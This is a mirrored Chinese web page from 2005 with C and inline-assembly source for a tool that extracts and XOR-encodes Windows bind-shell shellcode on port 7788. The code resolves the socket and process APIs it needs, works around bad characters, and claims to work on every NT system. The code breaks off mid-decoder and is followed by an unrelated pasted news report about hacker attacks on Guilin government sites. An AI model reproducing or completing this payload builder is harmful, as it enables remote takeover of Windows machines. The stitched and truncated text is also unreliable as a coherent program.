⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 20054123551.htm

📁 这次自已做的美工,可能很难看,但主要是为提高效率,这次全部生成了静态,只有一个链接查看最新文章的列表没有生成,因为我觉得没必要生成,浪费空间大小,那是一个很少用到的功能!这次去掉了很多功能,这个版本主
💻 HTM
📖 第 1 页 / 共 2 页
字号:
    </tr>
    <tr align="center"> 
      <td> 
    
        <input type="SUBMIT" name="Action" value=" 查 询 " class="button2">
        <input type="RESET" name="Clear" value=" 重 写 " class="button2">
      </td>
    </tr>
    <tr align="center"> 
      <td height="10"></td>
    </tr>
  </form>
</table></td>
      </tr>
	  <tr>
	    <td height="20"><table width="181" height="20" cellpadding="0" cellspacing="0">
	      <tr><td width="181" height="20" align="center" bgcolor="#CC9900">分类最新文章</td>
	      </tr>
		  <tr><td><a href=20054282302.htm target=_blank>ffffffffffffff</a></td></tr><tr><td><a href=20054123551.htm target=_blank>使用C语言编写提取通用she</a></td></tr><tr><td><a href=200541232242.htm target=_blank>抛砖引玉之自己动手学写脚本</a></td></tr><tr><td><a href=20053302254.htm target=_blank>Windows XP SP2</a></td></tr>
        </table></td>
	  </tr>
	  <tr>
	    <td height="20"><table width="181" height="20" cellpadding="0" cellspacing="0">
	      <tr><td width="181" height="20" align="center" bgcolor="#CC9900">分类热门文章</td>
	      </tr>
		  <tr><td><a href=20053302254.htm target=_blank>Windows XP SP2</a></td></tr><tr><td><a href=20054123551.htm target=_blank>使用C语言编写提取通用she</a></td></tr><tr><td><a href=20054282302.htm target=_blank>ffffffffffffff</a></td></tr><tr><td><a href=200541232242.htm target=_blank>抛砖引玉之自己动手学写脚本</a></td></tr>
        </table></td>
	  </tr>
    </table></td>
    <td width="628" valign="top" scope="col"><table width="100%" border="0" align="center" cellspacing="0" cellpadding="5" bordercolordark="#FFFFFF" bordercolorlight="#000000" style="word-break:break-all;">
              <tr> 
                <td width="100%"> 

                </td>
              </tr>
              <tr> 
                <td width="100%"> 
                  <div align="center">
                    <p class="style7"><SPAN class=style1>使用C语言编写提取通用shellcode的程序 </SPAN></p>
                    <hr size="1" color="#0a778b" width="100%">                    
                    发布时间:2005-4-1  被阅览数:<SCRIPT src="../../counter.asp?id=504"></SCRIPT>  次 作者:不祥					
				  </div>
                </td>
              </tr>
           
              <tr> 
                <td width="100%"><p class="style6"><P><FONT face=Verdana>说明:此程序可以用标准c语言string格式打印出你所在ShellCodes函数中编写的shellcode<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 用vc编译时请使用Release格式并取消优化设置,否则不能正常运行<BR>*/<BR>#include &lt;windows.h&gt;<BR>#include &lt;stdio.h&gt;<BR>#include &lt;winioctl.h&gt;</FONT></P>
<P><FONT face=Verdana>#define&nbsp; DEBUG 1&nbsp; //定义为调试模式。本地测试用。打印shellcode后立即执行shellcode</FONT></P>
<P><FONT face=Verdana>//<BR>//函数原型<BR>//<BR>void&nbsp;&nbsp;&nbsp;&nbsp; DecryptSc();&nbsp; //shellcode解码函数,使用的是xor法加微调法<BR>void&nbsp;&nbsp;&nbsp;&nbsp; ShellCodes();&nbsp; //shellcode的函数,因为使用了动态搜索API地址。所以所有WINNT系统通杀<BR>void&nbsp;&nbsp;&nbsp;&nbsp; PrintSc(char *lpBuff, int buffsize);&nbsp; //PrintSc函数用标准c格式打印</FONT></P>
<P><FONT face=Verdana>//<BR>//用到的部分定义<BR>//<BR>#define&nbsp; BEGINSTRLEN&nbsp;&nbsp;&nbsp; 0x08&nbsp;&nbsp;&nbsp; //开始字符串长度<BR>#define&nbsp; ENDSTRLEN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0x08&nbsp;&nbsp;&nbsp; //结束标记字符的长度<BR>#define&nbsp; nop_CODE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0x90&nbsp;&nbsp;&nbsp; //填充字符,用于不确定shellcode入口用<BR>#define&nbsp; nop_LEN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0x0&nbsp;&nbsp;&nbsp;&nbsp; //ShellCode起始的填充长度,真正shellcode的入口<BR>#define&nbsp; BUFFSIZE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0x20000 //输出缓冲区大小</FONT></P>
<P><FONT face=Verdana>#define&nbsp; sc_PORT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 7788&nbsp;&nbsp;&nbsp; //绑定端口号 0x1e6c<BR>#define&nbsp; sc_BUFFSIZE&nbsp;&nbsp;&nbsp; 0x2000&nbsp; //ShellCode缓冲区大小</FONT></P>
<P><FONT face=Verdana>#define&nbsp; Enc_key&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0x7A&nbsp;&nbsp;&nbsp; //编码密钥</FONT></P>
<P><FONT face=Verdana>#define&nbsp; MAX_Enc_Len&nbsp;&nbsp;&nbsp; 0x400&nbsp;&nbsp; //加密代码的最大长度 1024足够?<BR>#define&nbsp; MAX_Sc_Len&nbsp;&nbsp;&nbsp;&nbsp; 0x2000&nbsp; //hellCode的最大长度 8192足够?<BR>#define&nbsp; MAX_api_strlen 0x400&nbsp;&nbsp; //APIstr字符串的长度<BR>#define&nbsp; API_endstr&nbsp;&nbsp;&nbsp;&nbsp; "strend"//API结尾标记字符串&nbsp;&nbsp;&nbsp; <BR>#define&nbsp; API_endstrlen&nbsp; 0x06&nbsp;&nbsp;&nbsp; //标记字符串长度<BR>//定义函数开始字符,定位用<BR>#define PROC_BEGIN __asm&nbsp; _emit 0x90 __asm&nbsp; _emit 0x90 __asm&nbsp; _emit 0x90 __asm&nbsp; _emit 0x90\<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; __asm&nbsp; _emit 0x90 __asm&nbsp; _emit 0x90 __asm&nbsp; _emit 0x90 __asm&nbsp; _emit 0x90<BR>#define PROC_END PROC_BEGIN<BR>//---------------------------------------------------<BR>enum{&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //Kernel32中的函数名定义,用于编写自定义的shellcode。下同<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; _CreatePipe,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; _CreateProcessA,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; _CloseHandle,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; _PeekNamedPipe,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; _ReadFile,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; _WriteFile,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; _ExitProcess,</FONT></P>
<P><FONT face=Verdana>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //WS2_32<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; _WSAStartup,<BR>_WSASocket<BR>_socket,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; _bind,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; _listen,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; _accept,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; _send,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; _recv,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; _ioctlsocket,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; _closesocket,</FONT></P>
<P><FONT face=Verdana>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //本机测试User32<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; _MessageBeep,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; _MessageBoxA,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; API_num<BR>};</FONT></P>
<P><FONT face=Verdana>//<BR>//代码这里开始<BR>//<BR>int __cdecl main(int argc, char **argv)<BR>{<BR>&nbsp; //shellcode中要用到的字符串<BR>&nbsp; static char ApiStr[]="\x1e\x6c"&nbsp;&nbsp; //端口地址7788</FONT></P>
<P><FONT face=Verdana>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //Kernel32中查找的API函数名称,用来查找函数地址,下同<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "CreatePipe""\x0"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "CreateProcessA""\x0"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "CloseHandle""\x0"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "PeekNamedPipe""\x0"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "ReadFile""\x0"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "WriteFile""\x0"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "ExitProcess""\x0"</FONT></P>
<P><FONT face=Verdana>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //其它API中用到的API<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "wsock32.dll""\x0"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "socket""\x0"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "bind""\x0"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "listen""\x0"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "accept""\x0"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "send""\x0"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "recv""\x0"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "ioctlsocket""\x0"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "closesocket""\x0"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //本机测试<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "user32.dll""\x0"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "MessageBeep""\x0"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "MessageBoxA""\x0"</FONT></P>
<P><FONT face=Verdana>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "\x0\x0\x0\x0\x0"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "strend";</FONT></P>
<P><FONT face=Verdana>&nbsp; char&nbsp; *fnbgn_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90";&nbsp; //标记开始的字符串<BR>&nbsp; char&nbsp; *fnend_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90";&nbsp; //标记结束的字符串</FONT></P>
<P><FONT face=Verdana>&nbsp; char&nbsp; buff[BUFFSIZE];&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //缓冲区<BR>&nbsp; char&nbsp; sc_buff[sc_BUFFSIZE];&nbsp;&nbsp; //ShellCodes缓冲<BR>&nbsp; char&nbsp; *pDcrypt_addr,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *pSc_addr;</FONT></P>
<P><FONT face=Verdana>&nbsp; int&nbsp;&nbsp; buff_len;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //缓冲长度<BR>&nbsp; int&nbsp;&nbsp; EncCode_len;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //加密编码代码长度<BR>&nbsp; int&nbsp;&nbsp; Sc_len;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //原始ShellCode的长度</FONT></P>
<P><FONT face=Verdana>&nbsp; int&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; i,k;<BR>&nbsp; unsigned&nbsp; char ch;</FONT></P>
<P><FONT face=Verdana>&nbsp; //<BR>&nbsp; //获得DecryptSc()地址,解码函数的地址,然后搜索MAX_Enc_Len字节,查找标记开始的字符串<BR>&nbsp; //获得真正的解码汇编代码的开始地址,MAX_Enc_Len定义为1024字节一般这已经足够了,然后将这<BR>&nbsp; //部分代码拷贝入待输出ShellCode的缓冲区准备进一步处理<BR>&nbsp; //<BR>&nbsp; pDcrypt_addr=(char *)DecryptSc;</FONT></P>
<P><FONT face=Verdana>&nbsp; //定位其实际地址,因为在用Visual Studio生成调试版本调试的情况下,编译器会生成跳转表,<BR>&nbsp; //从跳转表中要计算得出函数实际所在的地址,这只是为了方便用VC调试</FONT></P>
<P><FONT face=Verdana>&nbsp; ch=*pDcrypt_addr;<BR>&nbsp; if (ch==0xe9)<BR>&nbsp; {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pDcrypt_addr++;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; i=*(int *)pDcrypt_addr;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pDcrypt_addr+=(i+4);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //此时指向DecryptSc函数的实际地址<BR>&nbsp; }<BR>&nbsp; //找到解码代码的开始部分<BR>&nbsp; for(k=0;k&lt;MAX_Enc_Len;++k) if(memcmp(pDcrypt_addr+k,fnbgn_str,BEGINSTRLEN)==0) break;</FONT></P>
<P><FONT face=Verdana>&nbsp; if (k&lt;MAX_Enc_Len) pDcrypt_addr+=(k+8);&nbsp;&nbsp; //如找到定位实际代码的开始<BR>&nbsp; else <BR>&nbsp; {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //显示错误信息<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; k=0;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("\nNo Begin str defined in Decrypt function!Please Check before go on...\n");<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return 0;<BR>&nbsp; }</FONT></P>
<P><FONT face=Verdana>&nbsp; for(k=0;k&lt;MAX_Enc_Len;++k) if(memcmp(pDcrypt_addr+k,fnend_str,ENDSTRLEN)==0) break;</FONT></P>
<P><FONT face=Verdana>&nbsp; if (k&lt;MAX_Enc_Len) EncCode_len=k;<BR>&nbsp; else <BR>&nbsp; {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; k=0;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("\nNo End str defined in Decrypt function!Please Check....\n");<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return 0;<BR>&nbsp; }</FONT></P>
<P><FONT face=Verdana>&nbsp; memset(buff,nop_CODE,BUFFSIZE);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //缓冲区填充<BR>&nbsp; memcpy(buff+nop_LEN,pDcrypt_addr,EncCode_len);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //把DecryptSc代码复制进buff</FONT></P>
<P><FONT face=Verdana>&nbsp; //<BR>&nbsp; //处理ShellCode代码,如果需要定位到代码的开始<BR>&nbsp; //<BR>&nbsp; pSc_addr=(char *)ShellCodes;&nbsp;&nbsp;&nbsp;&nbsp; //定位shellcode的地址</FONT></P>
<P><FONT face=Verdana>&nbsp; //调试状态下的函数地址处理,便于调试<BR>&nbsp; ch=*pSc_addr;<BR>&nbsp; if (ch==0xe9)<BR>&nbsp; {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pSc_addr++;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; i=*(int *)pSc_addr;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pSc_addr+=(i+4);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //此时指向ShellCodes函数的实际地址<BR>&nbsp; }</FONT></P>
<P><FONT face=Verdana>&nbsp; //如果需要定位到实际ShellCodes()的开始,这个版本中是不需要的<BR>&nbsp; /*<BR>&nbsp; for (k=0;k&lt;MAX_Sc_Len ;++k ) if(memcmp(pSc_addr+k,fnbgn_str,BEGINSTRLEN)==0) break;<BR>&nbsp; if (k&lt;MAX_Enc_Len) pSc_addr+=(k+8);&nbsp;&nbsp; //如找到定位实际代码的开始<BR>&nbsp; */</FONT></P>
<P><FONT face=Verdana>&nbsp; //找到shellcode的结尾及长度<BR>&nbsp; for(k=0;k&lt;MAX_Sc_Len;++k) if(memcmp(pSc_addr+k,fnend_str,ENDSTRLEN)==0) break;<BR>&nbsp; if (k&lt;MAX_Sc_Len) Sc_len=k;<BR>&nbsp; else <BR>&nbsp; {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; k=0;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("\nNo End str defined in ShellCodes function!Please Check....\n");<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return 0;<BR>&nbsp; }</FONT></P><FONT face=Verdana>
<P><BR>&nbsp; //把shellcode代码复制进sc_buff<BR>&nbsp; memcpy(sc_buff,pSc_addr,Sc_len);</P>
<P>&nbsp; //把字符串拷贝在shellcode的结尾<BR>&nbsp; for(i=0;i&lt;MAX_api_strlen;++i) if(memcmp(ApiStr+i,"strend",API_endstrlen)==0) break;<BR>&nbsp; if(i&gt;=MAX_api_strlen)<BR>&nbsp; {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("\nNo End str defined in API strings!Please Check....\n");<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return 0;<BR>&nbsp; }<BR>&nbsp; memcpy(sc_buff+k,ApiStr,i);</P>
<P>&nbsp; Sc_len+=i;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //增加shellcode的长度</P>
<P>&nbsp; //<BR>&nbsp; //对shellcode进行编码,算法简单,可根据需要改变<BR>&nbsp; //<BR>&nbsp; k=EncCode_len+nop_LEN;&nbsp;&nbsp;&nbsp; //定位缓冲区应存放ShellCode地址的开始</P>
<P>&nbsp; for(i=0;i&lt;Sc_len;++i){</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp; ch=sc_buff[i]^Enc_key;<BR>&nbsp;&nbsp;&nbsp;&nbsp; //对一些可能造成shellcode失效的字符进行替换,即微调法<BR>&nbsp;&nbsp;&nbsp;&nbsp; if(ch&lt;=0x1f||ch==' '||ch=='.'||ch=='/'||ch=='\\'||ch=='0'||ch=='?'||ch=='%'||ch=='+')<BR>&nbsp;&nbsp;&nbsp;&nbsp; {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; buff[k]='0';<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ++k;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ch+=0x31;<BR>&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp;&nbsp; //把编码过的shellcode放在DecryptSc代码后面<BR>&nbsp;&nbsp;&nbsp;&nbsp; buff[k]=ch;<BR>&nbsp;&nbsp;&nbsp;&nbsp; ++k;<BR>&nbsp; }</P>
<P>&nbsp; //shellcode的总长度<BR>&nbsp; buff_len=k;</P>
<P>&nbsp; //打印出shellcode<BR>&nbsp; PrintSc(buff,buff_len);<BR>&nbsp; //buff[buff_len]=0;<BR>&nbsp; //printf("%s",buff);</P>
<P>#ifdef DEBUG<BR>&nbsp; _asm{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lea eax,buff<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jmp eax<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ret<BR>&nbsp; }<BR>#endif</P>
<P>&nbsp;&nbsp;&nbsp; return&nbsp; 0;<BR>}</P>
<P>//解码shellcode的代码<BR>void&nbsp; DecryptSc()<BR>{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; __asm{</P>
<P>/////////////////////////<BR>//定义开始标志<BR>/////////////////////////<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PROC_BEGIN&nbsp;&nbsp;&nbsp; //C macro to begin proc</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jmp&nbsp;&nbsp; next<BR>getEncCodeAddr:<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pop&nbsp;&nbsp; edi<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp; edi<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pop&nbsp;&nbsp; esi<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xor&nbsp;&nbsp; ecx,ecx<BR>Decrypt_lop: <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lodsb<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cmp&nbsp; al,cl<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jz&nbsp;&nbsp; shell<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cmp&nbsp; al,0x30&nbsp; //判断是否为特殊字符<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jz&nbsp;&nbsp; special_char_clean&nbsp; //是则跳到special_char_clean</P>
<P>&nbsp;</P>
<P><BR>--------------------------------------------------------------------------------<BR>http://www.hackbase.com 阅读: 时间:2005-2-2 7:02:03 来源:www.hackbase.com&nbsp; <BR>桂林生活网-桂林日报 </P>
<P>&nbsp;&nbsp;&nbsp; 本报热线记者接到来自桂林市公安局网监部门的消息:最近,桂林市的一些政府部门和企业信息中心及网站连续多次遭到来自网络黑客的攻击,严重影响了这些部门和单位的正常工作和网络资源的使用。 </P>
<P>&nbsp;&nbsp;&nbsp; 记者在采访中得知,从去年11月份开始,桂林市政府某部门信息中心的网站连续多次遭到拒绝服务式攻击,使得整个服务器系统资源耗尽,导致整个系统的网站死机。该信息中心为防止损失进一步扩大,及时向桂林市公安局网监部门报案。经初步排查,发现由于该信息中心网站刚组建,网络安全体系的安全措施不完善,漏洞比较多;同时发现比较可疑的攻击源来自于该部门下属的某学校,因此要求该信息中心先自行查证。 </P>
<P>&nbsp;&nbsp;&nbsp; 今年一月份,该信息中心又连续遭到黑客以ASP注入式的攻击,导致整个信息中心的网站都被黑客所控制,并使在该中心托管的十几个网页被黑客修改或更换,直致整个系统的瘫痪。 </P>
<P>&nbsp;&nbsp;&nbsp; 据该中心负责同志介绍,该中心负责管理的网站共有60多个,还有个人网页80多个,主要用于电子化办公和信息发布。由于技术手段和网络安全设备的限制,所有的网站集中在两台服务器上。系统建成后,每天的访问量非常大,来自各个地方的攻击也特别多,几乎每天都遭受不同程度的攻击,存在较大安全隐患。只要其中任何一个网站或网页的一个程序设定不严,就极有可能使服务器遭到黑客攻击。 </P>
<P>&nbsp;&nbsp;&nbsp; 据桂林市公安局网监部门调查,该中心频繁遭到黑客攻击的原因主要有以下几个方面:一是该中心下属单位的一台电脑在上网过程中因浏览了不良网站而中了木马程序,被黑客所控制,做为傀儡机和攻击源使用,随时可向目标发起黑客攻击;另外,该下属单位也没有采取必要的网络安全技术措施;没有相关的网络安全组织;同时也没有按照国家的有关规定到公安网监部门进行国际互联网的备案登记。 </P>
<P>&nbsp;&nbsp;&nbsp; 为此,桂林市公安网监部门提醒各互联网接入单位:最近,网络黑客活动比较频繁,必须引起高度重视,及时采取相关的网络安全技术防范措施,按照国家有关规定到公安网监部门进行备案登记并与公安网监部门建立联系机制,如遇黑客攻击或其他网络安全问题,请做好现场保护工作并及时向市公安网监部门报告,协助公安机关共同做好网络安全问题的防范工作。</FONT></P></p>
                  <p><img src="http://www.koyee.com/images/dgg.gif" height="70" width="587"> </p></td>
              </tr>
              <tr>
                <td width="628" bordercolor="0" class="font1"><p>
                  <hr size="1" color="#0a778b" width="100%">
				  <table><tr><td width="269" align="center">上一篇:  <a href=../95/200541234921.htm title=局域网内玩转远程协助>局域网内玩转远程协助</a>  </td>
				  <td width="285" align="center">下一篇:  <a href=../90/200542823048.htm title=gew>gew</a></td>
				  </tr></table>

<hr size="1" color="#0a778b" width="100%">
<div align="right">  <a href="javascript:window.print()"><img src="../../images/printer.gif" width="16" height="14" border="0" align="absmiddle">打印本页</a> |  <a href="javascript:window.close()"><img src="../../images/close.gif" width="14" height="14" border="0" align="absmiddle">关闭窗口</a> </div>
<p></p></td>
              </tr>
    </table></td>
  </tr>
</table>
<TABLE height=62 cellSpacing=0 cellPadding=0 width="800" 
            align=center background=../../images/webtop_bg.gif 
            border=0>
              <TBODY>
              <TR>
                <TD><div align="center" class="style4">Copyright @ 2004-2008&nbsp; http://www.koyee.com 可以网络在线版权所有<br>
                    公司地址:江西南昌 电话:13879173467 邮编:330029<br>
                  email:chenxueyan9999@163.com</div></TD>
 </TR></TBODY></TABLE>
</BODY></HTML>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -